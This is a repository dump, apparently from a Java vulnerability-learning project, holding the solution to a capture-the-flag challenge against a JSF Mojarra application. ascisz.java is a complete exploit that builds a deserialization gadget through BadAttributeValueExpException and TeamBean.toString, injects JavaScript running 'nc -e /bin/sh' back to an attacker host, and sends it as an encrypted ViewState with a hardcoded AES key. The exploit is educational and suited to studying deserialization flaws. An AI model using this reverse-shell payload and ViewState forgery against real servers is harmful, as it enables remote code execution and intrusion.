82 | gzipOutputStream.write(byteArrayOutputStream.toByteArray()); 83 | gzipOutputStream.close(); 84 | 85 | byte[] bytes = byteArrayOutputStreamGzip.toByteArray(); 86 | bytes = guard.encrypt(bytes); 87 | ``` 88 | The original encryption (Enc) code is inside `com.sun.faces.renderkit.ByteArrayGuard`, just copy the code, modify a little bit, insert our key there and run (ByteArrayGuard.java) 89 | 90 | 3. Send ViewState to server to trigger unserialize (src/ascisz.java line 73 to 84) 91 | ``` 92 | String url = String.format("http://%s:%s/mojarra_war/editTeam.xhtml", rhost, rport); 93 | HttpURLConnection httpClient = (HttpURLConnection) new URL(url).openConnection(); 94 | httpClient.setRequestMethod("POST"); 95 | 96 | String urlParameters = "javax.faces.ViewState="+encodeValue(Base64.getEncoder().encodeToString(bytes)); 97 | 98 | httpClient.setDoOutput(true); 99 | try (DataOutputStream wr = new DataOutputStream(httpClient.getOutputStream())) { 100 | wr.writeBytes(urlParameters); 101 | wr.flush(); 102 | httpClient.getResponseCode(); 103 | } 104 | ``` 105 | = End = 106 | -------------------------------------------------------------------------------- /challs/mojarra_war/solution/mojarra_sol.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/mojarra_war/solution/mojarra_sol.jar -------------------------------------------------------------------------------- /challs/mojarra_war/solution/src/ByteArrayGuard.java: -------------------------------------------------------------------------------- 1 | import java.security.InvalidAlgorithmParameterException; 2 | import java.security.InvalidKeyException; 3 | import java.security.NoSuchAlgorithmException; 4 | import java.security.SecureRandom; 5 | import javax.crypto.BadPaddingException; 6 | import javax.crypto.Cipher; 7 | import javax.crypto.IllegalBlockSizeException; 8 | import javax.crypto.KeyGenerator; 9 | import javax.crypto.Mac; 10 | import javax.crypto.NoSuchPaddingException; 11 | import javax.crypto.SecretKey; 12 | import javax.crypto.spec.IvParameterSpec; 13 | import javax.crypto.spec.SecretKeySpec; 14 | import javax.xml.bind.DatatypeConverter; 15 | 16 | public final class ByteArrayGuard { 17 | private static final int MAC_LENGTH = 32; 18 | private static final int KEY_LENGTH = 128; 19 | private static final int IV_LENGTH = 16; 20 | private static final String KEY_ALGORITHM = "AES"; 21 | private static final String CIPHER_CODE = "AES/CBC/PKCS5Padding"; 22 | private static final String MAC_CODE = "HmacSHA256"; 23 | private static final String SK_SESSION_KEY = "com.sun.faces.SK"; 24 | private SecretKey sk; 25 | 26 | public ByteArrayGuard() { 27 | try { 28 | this.setupKeyAndMac(); 29 | } catch (Exception var2) { 30 | } 31 | } 32 | 33 | public byte[] encrypt(byte[] bytes) { 34 | Object var3 = null; 35 | 36 | try { 37 | SecureRandom rand = new SecureRandom(); 38 | byte[] iv = new byte[16]; 39 | rand.nextBytes(iv); 40 | IvParameterSpec ivspec = new IvParameterSpec(iv); 41 | Cipher encryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 42 | SecretKey secKey = this.getSecretKey(); 43 | encryptCipher.init(1, secKey, ivspec); 44 | Mac encryptMac = Mac.getInstance("HmacSHA256"); 45 | encryptMac.init(secKey); 46 | encryptMac.update(iv); 47 | byte[] encdata = encryptCipher.doFinal(bytes); 48 | byte[] macBytes = encryptMac.doFinal(encdata); 49 | byte[] tmp = concatBytes(macBytes, iv); 50 | byte[] securedata = concatBytes(tmp, encdata); 51 | return securedata; 52 | } catch (NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IllegalStateException | IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException var13) { 53 | 54 | 55 | return null; 56 | } 57 | } 58 | 59 | public byte[] decrypt(byte[] bytes) { 60 | try { 61 | byte[] macBytes = new byte[32]; 62 | System.arraycopy(bytes, 0, macBytes, 0, macBytes.length); 63 | byte[] iv = new byte[16]; 64 | System.arraycopy(bytes, macBytes.length, iv, 0, iv.length); 65 | byte[] encdata = new byte[bytes.length - macBytes.length - iv.length]; 66 | System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length); 67 | IvParameterSpec ivspec = new IvParameterSpec(iv); 68 | SecretKey secKey = this.getSecretKey(); 69 | Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 70 | decryptCipher.init(2, secKey, ivspec); 71 | Mac decryptMac = Mac.getInstance("HmacSHA256"); 72 | decryptMac.init(secKey); 73 | decryptMac.update(iv); 74 | decryptMac.update(encdata); 75 | byte[] macBytesCalculated = decryptMac.doFinal(); 76 | if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) { 77 | byte[] plaindata = decryptCipher.doFinal(encdata); 78 | return plaindata; 79 | } else { 80 | System.err.println("ERROR: MAC did not verify!"); 81 | return null; 82 | } 83 | } catch (NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IllegalStateException | IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException var12) { 84 | System.err.println("ERROR: Decrypting:" + var12.getCause()); 85 | return null; 86 | } 87 | } 88 | 89 | private boolean areArrayEqualsConstantTime(byte[] array1, byte[] array2) { 90 | boolean result = true; 91 | 92 | for(int i = 0; i < array1.length; ++i) { 93 | if (array1[i] != array2[i]) { 94 | result = false; 95 | } 96 | } 97 | 98 | return result; 99 | } 100 | 101 | private void setupKeyAndMac() { 102 | try { 103 | String encodedKeyArray = "ZmluZF90aGVfa2V5X3Bscw=="; 104 | byte[] keyArray = DatatypeConverter.parseBase64Binary(encodedKeyArray); 105 | this.sk = new SecretKeySpec(keyArray, "AES"); 106 | } catch (Exception var5) { 107 | } 108 | 109 | if (this.sk == null) { 110 | try { 111 | KeyGenerator kg = KeyGenerator.getInstance("AES"); 112 | kg.init(128); 113 | this.sk = kg.generateKey(); 114 | } catch (Exception var4) { 115 | 116 | } 117 | } 118 | 119 | } 120 | 121 | private static byte[] concatBytes(byte[] array1, byte[] array2) { 122 | byte[] cBytes = new byte[array1.length + array2.length]; 123 | 124 | try { 125 | System.arraycopy(array1, 0, cBytes, 0, array1.length); 126 | System.arraycopy(array2, 0, cBytes, array1.length, array2.length); 127 | return cBytes; 128 | } catch (Exception e) { 129 | e.printStackTrace(); 130 | } 131 | return cBytes; 132 | } 133 | 134 | private SecretKey getSecretKey() { 135 | SecretKey result = this.sk; 136 | return result; 137 | } 138 | 139 | } 140 | -------------------------------------------------------------------------------- /challs/mojarra_war/solution/src/TeamBean.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | package ascis; 6 | 7 | import java.io.Serializable; 8 | import java.util.ArrayList; 9 | import javax.script.ScriptEngine; 10 | import javax.script.ScriptEngineManager; 11 | import javax.script.ScriptException; 12 | 13 | 14 | public class TeamBean implements Serializable { 15 | private static final long serialVersionUID = -1333713373713373737L; 16 | private int team_id; 17 | private String team_name; 18 | private String team_country; 19 | private boolean team_secret_status = false; 20 | private String team_secret_message; 21 | private String template = "var message = \"SECRET MESSAGE WAS LEAKED! \";"; 22 | public ArrayList teamsListFromDB; 23 | 24 | public TeamBean() { 25 | } 26 | 27 | public int getTeam_id() { 28 | return this.team_id; 29 | } 30 | 31 | public void setTeam_id(int team_id) { 32 | this.team_id = team_id; 33 | } 34 | 35 | public String getTeam_name() { 36 | return this.team_name; 37 | } 38 | 39 | public void setTeam_name(String team_name) { 40 | this.team_name = team_name; 41 | } 42 | 43 | public String getTeam_country() { 44 | return this.team_country; 45 | } 46 | 47 | public void setTeam_country(String team_country) { 48 | this.team_country = team_country; 49 | } 50 | 51 | public Boolean getTeam_secret_status() { 52 | return this.team_secret_status; 53 | } 54 | 55 | public void setTeam_secret_status(Boolean team_secret_status) { 56 | this.team_secret_status = team_secret_status; 57 | } 58 | 59 | public String getTeam_secret_message() { 60 | return this.team_secret_message; 61 | } 62 | 63 | public void setTeam_secret_message(String team_secret_message) { 64 | this.team_secret_message = team_secret_message; 65 | } 66 | 67 | public String toString() { 68 | if (this.getTeam_secret_status()) { 69 | try { 70 | ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); 71 | ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("JavaScript"); 72 | scriptEngine.eval(this.template); 73 | return (String)scriptEngine.get("message") + this.getTeamSecretMessage(this.team_id); 74 | } catch (ScriptException var3) { 75 | var3.printStackTrace(); 76 | return ""; 77 | } 78 | } else { 79 | return "SECRET MESSAGE STILL FINE !"; 80 | } 81 | } 82 | 83 | public String getTeamSecretMessage(int teamID) { 84 | TeamBean team = new TeamBean(); 85 | return team != null ? team.getTeam_secret_message() : ""; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /challs/mojarra_war/solution/src/ascisz.java: -------------------------------------------------------------------------------- 1 | import javax.management.BadAttributeValueExpException; 2 | import java.io.*; 3 | import java.lang.reflect.Field; 4 | import java.util.Base64; 5 | import java.util.zip.GZIPOutputStream; 6 | import java.net.HttpURLConnection; 7 | import java.net.URL; 8 | import java.net.URLEncoder; 9 | import java.nio.charset.StandardCharsets; 10 | import ascis.TeamBean; 11 | 12 | // Encrypt: Serialize -> GZIP -> Enc -> Base64 [ViewState] 13 | // Decrypt: [ViewState] Base64 -> Dec -> GZIP -> Serialize 14 | public class ascisz { 15 | private static String encodeValue(String value) { 16 | try { 17 | return URLEncoder.encode(value, StandardCharsets.UTF_8.toString()); 18 | } catch (UnsupportedEncodingException ex) { 19 | throw new RuntimeException(ex.getCause()); 20 | } 21 | } 22 | public static void main(String[] args) throws Exception { 23 | if (args.length != 4 ) { 24 | System.out.println("Usage: java -jar mojarra_sol.jar "); 25 | System.exit(0); 26 | } 27 | String rhost = args[0]; 28 | String rport = args[1]; 29 | String lhost = args[2]; 30 | String lport = args[3]; 31 | TeamBean team = new TeamBean(); 32 | String payload = "var message = \"tsudepzai\";"+ 33 | String.format("var lhost = \"%s\";",lhost) + 34 | String.format("var lport = \"%s\";",lport) + 35 | "p = new java.lang.ProcessBuilder();"+ 36 | "p.command(\"nc\",\"-e\",\"/bin/sh\", lhost, lport);"+ 37 | "p.start();"; 38 | // Set team_secret_status true 39 | Field team_secret_status = team.getClass().getDeclaredField("team_secret_status"); 40 | team_secret_status.setAccessible(true); 41 | team_secret_status.set(team, true); 42 | 43 | // Set payload eval 44 | Field template = team.getClass().getDeclaredField("template"); 45 | template.setAccessible(true); 46 | template.set(team, payload); 47 | 48 | // gadget BadAttributeValueExpException.readObject() -> TeamBean.toString() 49 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null); 50 | Field val = bad.getClass().getDeclaredField("val"); 51 | val.setAccessible(true); 52 | val.set(bad, team); 53 | 54 | // Encrypt: Serialize Obj -> GZIP -> Enc -> Base64 [ViewState] 55 | ByteArrayGuard guard = new ByteArrayGuard(); 56 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 57 | ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); 58 | outputStream.writeObject(bad); 59 | outputStream.close(); 60 | 61 | ByteArrayOutputStream byteArrayOutputStreamGzip = new ByteArrayOutputStream(); 62 | 63 | GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStreamGzip); 64 | gzipOutputStream.write(byteArrayOutputStream.toByteArray()); 65 | gzipOutputStream.close(); 66 | 67 | byte[] bytes = byteArrayOutputStreamGzip.toByteArray(); 68 | bytes = guard.encrypt(bytes); 69 | 70 | //System.out.println(Base64.getEncoder().encodeToString(bytes)); 71 | 72 | // Exploit 73 | String url = String.format("http://%s:%s/mojarra_war/editTeam.xhtml", rhost, rport); 74 | HttpURLConnection httpClient = (HttpURLConnection) new URL(url).openConnection(); 75 | httpClient.setRequestMethod("POST"); 76 | 77 | String urlParameters = "javax.faces.ViewState="+encodeValue(Base64.getEncoder().encodeToString(bytes)); 78 | 79 | httpClient.setDoOutput(true); 80 | try (DataOutputStream wr = new DataOutputStream(httpClient.getOutputStream())) { 81 | wr.writeBytes(urlParameters); 82 | wr.flush(); 83 | httpClient.getResponseCode(); 84 | } 85 | } 86 | } 87 | 88 | --------------------------------------------------------------------------------